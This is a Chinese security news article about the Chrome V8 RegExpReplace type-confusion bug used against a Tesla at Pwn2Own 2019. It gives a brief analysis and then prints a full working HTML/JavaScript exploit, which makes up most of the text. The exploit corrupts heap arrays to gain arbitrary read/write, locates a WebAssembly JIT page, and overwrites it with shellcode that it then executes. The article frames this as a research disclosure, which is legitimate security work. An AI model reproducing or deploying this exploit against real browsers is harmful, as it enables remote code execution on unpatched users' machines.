查看原文
其他

Pwn2Own 2019 攻破特斯拉的漏洞公开了(含分析和利用)

Chromium 代码卫士 2022-04-06

 聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士团队

Pwn2Own 2019 大会上,研究人员 Richard Zhu Amat Cama (Team Fluoroacetate) 利用 Chrome 浏览器v8引擎漏洞攻破了特斯拉。本文对该漏洞进行了简要分析,并提供利用供研究之用。


简要分析

V8_WARN_UNUSED_RESULT MaybeHandle<String> RegExpReplace( Isolate* isolate, Handle<JSRegExp> regexp, Handle<String> string, Handle<Object> replace_obj) { // Functional fast-paths are dispatched directly by replace builtin. DCHECK(RegExpUtils::IsUnmodifiedRegExp(isolate, regexp)); DCHECK(!replace_obj->IsCallable());
Factory* factory = isolate->factory();
const int flags = regexp->GetFlags(); const bool global = (flags & JSRegExp::kGlobal) != 0; const bool sticky = (flags & JSRegExp::kSticky) != 0;
Handle<String> replace; ASSIGN_RETURN_ON_EXCEPTION(isolate, replace, Object::ToString(isolate, replace_obj), String); replace = String::Flatten(isolate, replace);

RegExpReplace期望传入的regexp对象是未修改的正则表达式,但对Object::ToString的调用更改了该正则表达式的类型。这就导致OOB 读取和写入regexp.lastIndex

为了利用这个漏洞,研究人员在KeyAccumulator::GetKeys中覆写了keys对象的映射。它会引发堆溢出,从而破坏堆上的数组。这就提供了堆 r/w,从而破坏了 arb r/wTypedArray。之后研究人员用 shellcode 覆写了 JIT 代码。

利用

<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"/><script>function print(x){ document.write("<p><font size=50>"+x+"</font></p>"); }function go(){function ljust(x, n, c){ while (x.length < n) x = c+x; return x; }function rjust(x, n, c){ x += c.repeat(n); return x; }function clone64(x){ return [x[0],x[1]]; }function tohex64(x){ return "0x"+ljust(x[1].toString(16),8,'0')+ljust(x[0].toString(16),8,'0'); }var CONVERSION = new ArrayBuffer(8); var CONVERSION_U32 = new Uint32Array(CONVERSION); var CONVERSION_F64 = new Float64Array(CONVERSION);function u32_to_f64(u){ CONVERSION_U32[0] = u[0]; CONVERSION_U32[1] = u[1]; return CONVERSION_F64[0]; }function f64_to_u32(f, b=0){ CONVERSION_F64[0] = f; if (b) return CONVERSION_U32; return new Uint32Array(CONVERSION_U32); }function fail(msg){ print(msg); document.location.reload(true); throw msg; }
function gc(){ for (let i=0;i<0x10;i++) new ArrayBuffer(0x800000); }
wasm_bytes = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 1, 127, 0, 96, 0, 0, 2, 25, 1, 7, 105, 109, 112, 111, 114, 116, 115, 13, 105, 109, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 0, 3, 2, 1, 1, 7, 17, 1, 13, 101, 120, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 1, 10, 8, 1, 6, 0, 65, 42, 16, 0, 11]);wasm_inst = new WebAssembly.Instance(new WebAssembly.Module(wasm_bytes), {imports: {imported_func: function(x){ return x; }}});wasm_func = wasm_inst.exports.exported_func;
function to_dict(obj){ obj.__defineGetter__('x',()=>2); obj.__defineGetter__('x',()=>2);}
rgx = null;dbl_arr = [1.1, 2.2, 3.3, 4.4];o = {};o.__defineGetter__("length", ()=>{ rgx = new RegExp(/AAAAAAAA/y); return 2;});o[0] = "aaaa";o.__defineGetter__(1, ()=>{ for (let i=0;i<8;i++) dbl_arr.push(5.5); let cnt = 0; rgx[Symbol.replace]("AAAAAAAA", { toString: ()=>{ cnt++; if (cnt == 2){ rgx.lastIndex = {valueOf: ()=>{ to_dict(rgx); gc(); return 0; }}; } return 'BBBB$'; } }); return "bbbb";});p = new Proxy({}, { ownKeys: function(target){ return o; }, getOwnPropertyDescriptor(target, prop) { return { configurable: true, enumerable: true, value: 5 }; }});
Object.keys(p);if (dbl_arr[0] == 1.1){ fail("failed to corrupt dbl_arr");}for (let i=0;i<0x800;i++) dbl_arr.push(0.0);
let obj_arr_elem_off = -1;
let obj_arr_tag = 0xbabe;let obj_arr_tag_smi_float = u32_to_f64([0, obj_arr_tag]);let obj_arr = null;for (let tries=1;tries<=4;tries++){ obj_arr = new Array(0x80).fill("x"); for (let i=0;i<4;i++) obj_arr[i] = obj_arr_tag;
for (let i=0;i<dbl_arr.length;i++){ if (dbl_arr[i] == obj_arr_tag_smi_float && dbl_arr[i+1] == obj_arr_tag_smi_float && dbl_arr[i+2] == obj_arr_tag_smi_float && dbl_arr[i+3] == obj_arr_tag_smi_float){ obj_arr_elem_off = i; break; } } if (obj_arr_elem_off >= 0){ break; }}
if (obj_arr_elem_off < 0){ fail("failed to find obj_arr_elem_off");}
let obj_arr_off = obj_arr_elem_off - 8;
function leak_addr_float(x){ obj_arr[0] = x; return dbl_arr[obj_arr_elem_off];}function leak_addr(x){ return f64_to_u32(leak_addr_float(x));}
let obj_arr_elem_addr = f64_to_u32(dbl_arr[obj_arr_elem_off - 6]);let dbl_arr_elem_addr = clone64(obj_arr_elem_addr); dbl_arr_elem_addr[0] -= (obj_arr_elem_off * 8 - 0x10);let obj_arr_addr = clone64(obj_arr_elem_addr); obj_arr_addr[0] -= 0x30;
function dbl_arr_idx_for_addr(x){ v = clone64(x); v[0] -= dbl_arr_elem_addr[0]; if (v[0] < 0){ v[0] += 0x100000000; v[1] -= 1; } return v[0] / 8;}
let ua = new Uint32Array(0x1000);ua[0] = 0x41414141;ua[1] = 0x42424242;
let ua_addr = leak_addr(ua);
let tmp, tmp_idx;tmp_idx = dbl_arr_idx_for_addr(ua_addr);tmp = f64_to_u32(dbl_arr[tmp_idx+2]);tmp_idx = dbl_arr_idx_for_addr(tmp);
let ua_store_idx = tmp_idx + 3;
function r32(addr){ dbl_arr[ua_store_idx] = u32_to_f64(addr); return ua[0];}
function r64(addr){ dbl_arr[ua_store_idx] = u32_to_f64(addr); return [ua[0], ua[1]];}
function w32(addr, v){ dbl_arr[ua_store_idx] = u32_to_f64(addr); ua[0] = v;}
function w64(addr, v){ dbl_arr[ua_store_idx] = u32_to_f64(addr); ua[0] = v[0]; ua[1] = v[1];}
tmp = leak_addr(wasm_func);tmp[0] += 0x18 - 1; tmp = r64(tmp);tmp[0] += 8 - 1; tmp = r64(tmp);let tmp_clone = clone64(tmp);tmp[0] += 0x10 - 1; tmp = r64(tmp);tmp[0] += 0xe8 - 1;let jit_page = r64(tmp);tmp = tmp_clone; tmp[0] += 0x1c - 1;let jit_off = r32(tmp);let jit_addr = clone64(jit_page);jit_addr[0] += jit_off;
let jit_ptr = clone64(jit_addr);
let sc = [0x314800eb, 0xff3148c0, 0x48f63148, 0x3148d231, 0xec8148c9, 0x100, 0x48c03148, 0x143d8d, 0x3fb00000, 0x8348050f, 0x87500f8, 0xc48148, 0xc3000001, 0x622ffeeb, 0x732f6e69, 0x90909068];
for (let i = 0; i < sc.length;i++){ w32(jit_ptr, sc[i]); jit_ptr[0] += 4;}
wasm_func();
let jit_ptr2 = clone64(jit_addr);jit_ptr2[0] += sc.length * 4;
let leaked = "";for (let i = sc.length; i < sc.length + 0x40; i++){ let tmp = r32(jit_ptr2); if (tmp != 0){ for (let j = 0; j < 4; j++){ if ((tmp & 0xff) != 0) leaked += String.fromCharCode(tmp & 0xff); tmp >>= 8; } } jit_ptr2[0] += 4;}while (1){ alert("pwned by fluoroacetate\n"+leaked); prompt("pwned by fluoroacetate", leaked);}}function main(){ try { go(); } catch(e){ alert(e); }}</script></head><body onload = "main()"></body></html>



推荐阅读

Master of Pwn 2019 诞生!他们开上特斯拉去兜风了

Pwn2Own 2019:特斯拉提供最高30万美元的漏洞奖励



原文链接

https://bugs.chromium.org/p/chromium/issues/detail?id=944971#c1






题图:Pixabay License




本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn”。



奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。



您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存